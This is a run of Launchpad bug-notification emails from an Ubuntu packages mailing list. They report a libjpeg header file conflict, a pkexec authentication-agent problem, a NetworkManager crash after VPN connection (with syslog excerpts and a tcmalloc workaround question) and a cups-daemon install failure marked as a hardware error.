** Also affects: libjpeg9 (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to libjpeg-turbo in Ubuntu. https://bugs.launchpad.net/bugs/1597840 Title: package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 Status in One Hundred Papercuts: Confirmed Status in libjpeg-turbo package in Ubuntu: Confirmed Status in libjpeg9 package in Ubuntu: Confirmed Bug description: Just got back from restart. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libjpeg-turbo8-dev 1.4.2-0ubuntu3 ProcVersionSignature: Ubuntu 4.4.0-28.47-generic 4.4.13 Uname: Linux 4.4.0-28-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.1-0ubuntu2.1 Architecture: amd64 Date: Wed Jun 29 12:14:30 2016 Dependencies: gcc-6-base 6.0.1-0ubuntu1 libc6 2.23-0ubuntu3 libgcc1 1:6.0.1-0ubuntu1 libjpeg-turbo8 1.4.2-0ubuntu3 multiarch-support 2.23-0ubuntu3 DpkgTerminalLog: Preparing to unpack .../libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb ... Unpacking libjpeg-turbo8-dev:amd64 (1.4.2-0ubuntu3) ... dpkg: error processing archive /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb (--unpack): trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 DuplicateSignature: package:libjpeg-turbo8-dev:1.4.2-0ubuntu3 Unpacking libjpeg-turbo8-dev:amd64 (1.4.2-0ubuntu3) ... dpkg: error processing archive /var/cache/apt/archives/libjpeg-turbo8-dev_1.4.2-0ubuntu3_amd64.deb (--unpack): trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 ErrorMessage: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 InstallationDate: Installed on 2016-06-13 (17 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1.1 apt 1.2.12~ubuntu16.04.1 SourcePackage: libjpeg-turbo Title: package libjpeg-turbo8-dev 1.4.2-0ubuntu3 failed to install/upgrade: trying to overwrite '/usr/include/jerror.h', which is also in package libjpeg9-dev:amd64 1:9b-1ubuntu1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/hundredpapercuts/+bug/1597840/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 976638] Re: pkexec does not find any authentication agent
This looks like the problem I have in Lubuntu 18.04 (but only in systems upgraded from 16.04 - new installs seem fine). But I can't find the magic "Policykit Authentication Agent" tickbox in Lubuntu: where is it hiding? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to policykit-1 in Ubuntu. https://bugs.launchpad.net/bugs/976638 Title: pkexec does not find any authentication agent Status in PolicyKit: Unknown Status in policykit-1 package in Ubuntu: Triaged Bug description: I am using xubuntu, but I am pretty sure that other variants are affected too. My problem started with being unable to start synaptic from the menu. So far, I have found out that synaptic is started with pkexec. When I test starting pkexec /usr/sbin/synaptic in a terminal, it asks for the password in text mode. With another test pkexec --disable-internal-agent /usr/sbin/synaptic in the terminal, it says it has not found any authentication agent. I have two AMD64 PC's and a i386 laptop. The problem occurs on one of the PC's and the laptop. Comparing the /etc directory trees of the PC's showed many differences, but I could not find anything suspicious about the polycikit configuration. For the moment, using gksu instead of pkexec is a workaround. Thanks and Regards, Markus ProblemType: Bug DistroRelease: Ubuntu 12.04 Package: policykit-1 0.104-1 ProcVersionSignature: Ubuntu 3.2.0-22.35-generic 3.2.14 Uname: Linux 3.2.0-22-generic x86_64 ApportVersion: 2.0-0ubuntu4 Architecture: amd64 Date: Sun Apr 8 17:05:34 2012 InstallationMedia: Xubuntu 12.04 LTS "Precise Pangolin" - Beta amd64 (20120330) ProcEnviron: LANGUAGE=de_DE:en TERM=xterm PATH=(custom, no user) LANG=de_DE.UTF-8 SHELL=/bin/bash SourcePackage: policykit-1 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/policykit-1/+bug/976638/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794966] Re: Network manager crashes and restarts 2 seconds after establishing a VPN connection
How can I get debug symbols for NetworkManager? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1794966 Title: Network manager crashes and restarts 2 seconds after establishing a VPN connection Status in network-manager package in Ubuntu: New Bug description: When trying to get on a company VPN, the connection is initially established and works (I can access intranet websites), but after ~1-2 seconds from starting VPN connection the Network Manager seems to crash and restart, taking all connections down. This makes VPN totally unusable. syslog: // VPN activation: ... Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: new request (2 scripts) Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: start running ordered scripts... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5368] device (tun0): Activation: starting connection 'tun0' (6bd0ba91-b53b-4e9a-b94c-394a9a9f336b) Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5370] device (tun0): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Starting resolvconf-pull-resolved.service... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5377] device (tun0): state change: prepare -> config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5382] device (tun0): state change: config -> ip-config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5384] device (tun0): state change: ip-config -> ip-check (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5391] device (tun0): state change: ip-check -> secondaries (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5396] device (tun0): state change: secondaries -> activated (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Started resolvconf-pull-resolved.service. Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5471] device (tun0): Activation: successful, device activated. // VPN active and usable - why can't it stay so? Sep 28 13:48:22 p5520 nm-dispatcher: req:5 'up' [tun0]: new request (2 scripts) Sep 28 13:48:26 p5520 org.gnome.Shell.desktop[3652]: (/usr/lib/firefox/firefox:7239): dconf-WARNING **: 13:48:26.618: Unable to open /var/lib/flatpak/exports/share/dconf/profile/user: Brak dostępu Sep 28 13:48:27 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 nm-dispatcher: req:5 'up' [tun0]: start running ordered scripts... Sep 28 13:48:27 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. // Something fishy here: Sep 28 13:48:30 p5520 NetworkManager[6892]: malloc(): corrupted unsorted chunks 3 Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Main process exited, code=dumped, status=6/ABRT Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Failed with result 'core-dump'. Sep 28 13:48:30 p5520 gnome-shell[3652]: Removing a network device that was not added Sep 28 13:48:30 p5520 gnome-shell[3652]: message repeated 3 times: [ Removing a network device that was not added] Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Service RestartSec=100ms expired, scheduling restart. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Scheduled restart job, restart counter is at 5. Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager Wait Online. Sep 28 13:48:30 p5520 systemd[1]: Stopping Network Manager Wait Online... Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Found left-over process 1581 (dhclient) in control group while starting unit. Ignoring. Sep 28 13:48:30 p5520 systemd[1]: This usually indicates unclean termination of a previous run, or service implementation deficiencies. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Found left-over process 7924 (dhclient) in control group while starting unit. Ignoring. Sep 28
[Touch-packages] [Bug 1794966] Re: Network manager crashes and restarts 2 seconds after establishing a VPN connection
Is there a way to configure only NetworkManager to use tcmalloc permanently? I tried adding LD_PRELOAD to /etc/init.d/network-manager or /etc/init /network-manager.conf and it does not work. However setting LD_PRELOAD tcmalloc globally for the whole system in /etc/ld.preload.conf does fix network manager but breaks other things like firefox. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1794966 Title: Network manager crashes and restarts 2 seconds after establishing a VPN connection Status in network-manager package in Ubuntu: New Bug description: When trying to get on a company VPN, the connection is initially established and works (I can access intranet websites), but after ~1-2 seconds from starting VPN connection the Network Manager seems to crash and restart, taking all connections down. This makes VPN totally unusable. syslog: // VPN activation: ... Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: new request (2 scripts) Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: start running ordered scripts... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5368] device (tun0): Activation: starting connection 'tun0' (6bd0ba91-b53b-4e9a-b94c-394a9a9f336b) Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5370] device (tun0): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Starting resolvconf-pull-resolved.service... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5377] device (tun0): state change: prepare -> config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5382] device (tun0): state change: config -> ip-config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5384] device (tun0): state change: ip-config -> ip-check (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5391] device (tun0): state change: ip-check -> secondaries (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5396] device (tun0): state change: secondaries -> activated (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Started resolvconf-pull-resolved.service. Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5471] device (tun0): Activation: successful, device activated. // VPN active and usable - why can't it stay so? Sep 28 13:48:22 p5520 nm-dispatcher: req:5 'up' [tun0]: new request (2 scripts) Sep 28 13:48:26 p5520 org.gnome.Shell.desktop[3652]: (/usr/lib/firefox/firefox:7239): dconf-WARNING **: 13:48:26.618: Unable to open /var/lib/flatpak/exports/share/dconf/profile/user: Brak dostępu Sep 28 13:48:27 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 nm-dispatcher: req:5 'up' [tun0]: start running ordered scripts... Sep 28 13:48:27 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. // Something fishy here: Sep 28 13:48:30 p5520 NetworkManager[6892]: malloc(): corrupted unsorted chunks 3 Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Main process exited, code=dumped, status=6/ABRT Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Failed with result 'core-dump'. Sep 28 13:48:30 p5520 gnome-shell[3652]: Removing a network device that was not added Sep 28 13:48:30 p5520 gnome-shell[3652]: message repeated 3 times: [ Removing a network device that was not added] Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Service RestartSec=100ms expired, scheduling restart. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Scheduled restart job, restart counter is at 5. Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager Wait Online. Sep 28 13:48:30 p5520 systemd[1]: Stopping Network Manager Wait Online... Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Found left-over process 1581 (dhclient) in control group while starting unit. Ignoring.
[Touch-packages] [Bug 1794966] Re: Network manager crashes and restarts 2 seconds after establishing a VPN connection
I'm attaching the crashdump. Core dump truncated, in order to not leak any sensitive information (VPN passwords, etc). It looks like there is a stacktrace there - I hope it helps. ** Attachment added: "_usr_sbin_NetworkManager.0.no_core_dump.crash" https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1794966/+attachment/5194349/+files/_usr_sbin_NetworkManager.0.no_core_dump.crash -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1794966 Title: Network manager crashes and restarts 2 seconds after establishing a VPN connection Status in network-manager package in Ubuntu: New Bug description: When trying to get on a company VPN, the connection is initially established and works (I can access intranet websites), but after ~1-2 seconds from starting VPN connection the Network Manager seems to crash and restart, taking all connections down. This makes VPN totally unusable. syslog: // VPN activation: ... Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: new request (2 scripts) Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: start running ordered scripts... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5368] device (tun0): Activation: starting connection 'tun0' (6bd0ba91-b53b-4e9a-b94c-394a9a9f336b) Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5370] device (tun0): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Starting resolvconf-pull-resolved.service... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5377] device (tun0): state change: prepare -> config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5382] device (tun0): state change: config -> ip-config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5384] device (tun0): state change: ip-config -> ip-check (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5391] device (tun0): state change: ip-check -> secondaries (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5396] device (tun0): state change: secondaries -> activated (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Started resolvconf-pull-resolved.service. Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5471] device (tun0): Activation: successful, device activated. // VPN active and usable - why can't it stay so? Sep 28 13:48:22 p5520 nm-dispatcher: req:5 'up' [tun0]: new request (2 scripts) Sep 28 13:48:26 p5520 org.gnome.Shell.desktop[3652]: (/usr/lib/firefox/firefox:7239): dconf-WARNING **: 13:48:26.618: Unable to open /var/lib/flatpak/exports/share/dconf/profile/user: Brak dostępu Sep 28 13:48:27 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 nm-dispatcher: req:5 'up' [tun0]: start running ordered scripts... Sep 28 13:48:27 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. // Something fishy here: Sep 28 13:48:30 p5520 NetworkManager[6892]: malloc(): corrupted unsorted chunks 3 Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Main process exited, code=dumped, status=6/ABRT Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Failed with result 'core-dump'. Sep 28 13:48:30 p5520 gnome-shell[3652]: Removing a network device that was not added Sep 28 13:48:30 p5520 gnome-shell[3652]: message repeated 3 times: [ Removing a network device that was not added] Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Service RestartSec=100ms expired, scheduling restart. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Scheduled restart job, restart counter is at 5. Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager Wait Online. Sep 28 13:48:30 p5520 systemd[1]: Stopping Network Manager Wait Online... Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Found left-over process 1581 (dhcli
[Touch-packages] [Bug 1795107] Re: package cups-daemon 2.1.3-4ubuntu0.5 [modified: usr/lib/cups/backend/ipp usr/lib/cups/daemon/cups-exec usr/lib/cups/notifier/mailto usr/lib/cups/notifier/rss usr/sbi
Thank you for taking the time to report this bug and helping to make Ubuntu better. Reviewing your dmesg attachment in this bug report it seems that there is a problem with your hardware. I recommend performing a back up and then investigating the situation. Measures you might take include checking cable connections and using software tools to investigate the health of your hardware. In the event that is is not in fact an error with your hardware please set the bug's status back to New. Thanks and good luck! [This is an automated message. I apologize if it reached you inappropriately; please just reply to this message indicating so.] ** Tags added: hardware-error ** Changed in: cups (Ubuntu) Importance: Undecided => Low ** Changed in: cups (Ubuntu) Status: New => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to cups in Ubuntu. https://bugs.launchpad.net/bugs/1795107 Title: package cups-daemon 2.1.3-4ubuntu0.5 [modified: usr/lib/cups/backend/ipp usr/lib/cups/daemon/cups-exec usr/lib/cups/notifier/mailto usr/lib/cups/notifier/rss usr/sbin/cupsd usr/share/cups/mime/mime.types usr/share/man/man5/classes.conf.5.gz usr/share/man/man5/cups-files.conf.5.gz usr/share/man/man5/cups- snmp.conf.5.gz usr/share/man/man5/cupsd.conf.5.gz usr/share/man/man5/mailto.conf.5.gz usr/share/man/man5/mime.types.5.gz usr/share/man/man5/printers.conf.5.gz usr/share/man/man7/backend.7.gz usr/share/man/man7/notifier.7.gz usr/share/man/man8/cups-snmp.8.gz usr/share/man/man8/cupsd.8.gz] failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in cups package in Ubuntu: Invalid Bug description: tried to install Canon G3100 but cups hasn't started. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: cups-daemon 2.1.3-4ubuntu0.5 [modified: usr/lib/cups/backend/ipp usr/lib/cups/daemon/cups-exec usr/lib/cups/notifier/mailto usr/lib/cups/notifier/rss usr/sbin/cupsd usr/share/cups/mime/mime.types usr/share/man/man5/classes.conf.5.gz usr/share/man/man5/cups-files.conf.5.gz usr/share/man/man5/cups-snmp.conf.5.gz usr/share/man/man5/cupsd.conf.5.gz usr/share/man/man5/mailto.conf.5.gz usr/share/man/man5/mime.types.5.gz usr/share/man/man5/printers.conf.5.gz usr/share/man/man7/backend.7.gz usr/share/man/man7/notifier.7.gz usr/share/man/man8/cups-snmp.8.gz usr/share/man/man8/cupsd.8.gz] ProcVersionSignature: Ubuntu 4.15.0-34.37~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-34-generic i686 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: i386 Date: Sat Sep 29 01:40:18 2018 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2018-09-29 (0 days ago) InstallationMedia: Lubuntu 16.04.2 LTS "Xenial Xerus" - Release i386 (20170216) Lpstat: Error: command ['lpstat', '-v'] failed with exit code 1: lpstat: Bad file descriptor MachineType: ASUSTeK Computer Inc. K84C Papersize: a4 ProcCmdline: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic root=UUID=8c7c7d63-4cd6-4aa2-bec5-1f23b3f70bcc ro quiet splash vt.handoff=7 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic root=UUID=8c7c7d63-4cd6-4aa2-bec5-1f23b3f70bcc ro quiet splash vt.handoff=7 RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.27 SourcePackage: cups Title: package cups-daemon 2.1.3-4ubuntu0.5 [modified: usr/lib/cups/backend/ipp usr/lib/cups/daemon/cups-exec usr/lib/cups/notifier/mailto usr/lib/cups/notifier/rss usr/sbin/cupsd usr/share/cups/mime/mime.types usr/share/man/man5/classes.conf.5.gz usr/share/man/man5/cups-files.conf.5.gz usr/share/man/man5/cups-snmp.conf.5.gz usr/share/man/man5/cupsd.conf.5.gz usr/share/man/man5/mailto.conf.5.gz usr/share/man/man5/mime.types.5.gz usr/share/man/man5/printers.conf.5.gz usr/share/man/man7/backend.7.gz usr/share/man/man7/notifier.7.gz usr/share/man/man8/cups-snmp.8.gz usr/share/man/man8/cupsd.8.gz] failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/10/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: K84C.210 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: K84C dmi.board.vendor: ASUSTeK Computer Inc. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK Computer Inc. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrK84C.210:bd08/10/2012:svnASUSTeKComputerInc.:pnK84C:pvr1.0:rvnASUSTeKComputerInc.:rnK84C:rvr1.0:cvnASUSTeKComputerInc.:ct10:cvr1.0: dmi.product.family: K dmi.product.name: K84C dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK Computer Inc. mtime.conffile..etc.init.d.cups: 2018-09-29T01:18:12.337822 To manage notifications about this bug go to: https://bugs.lau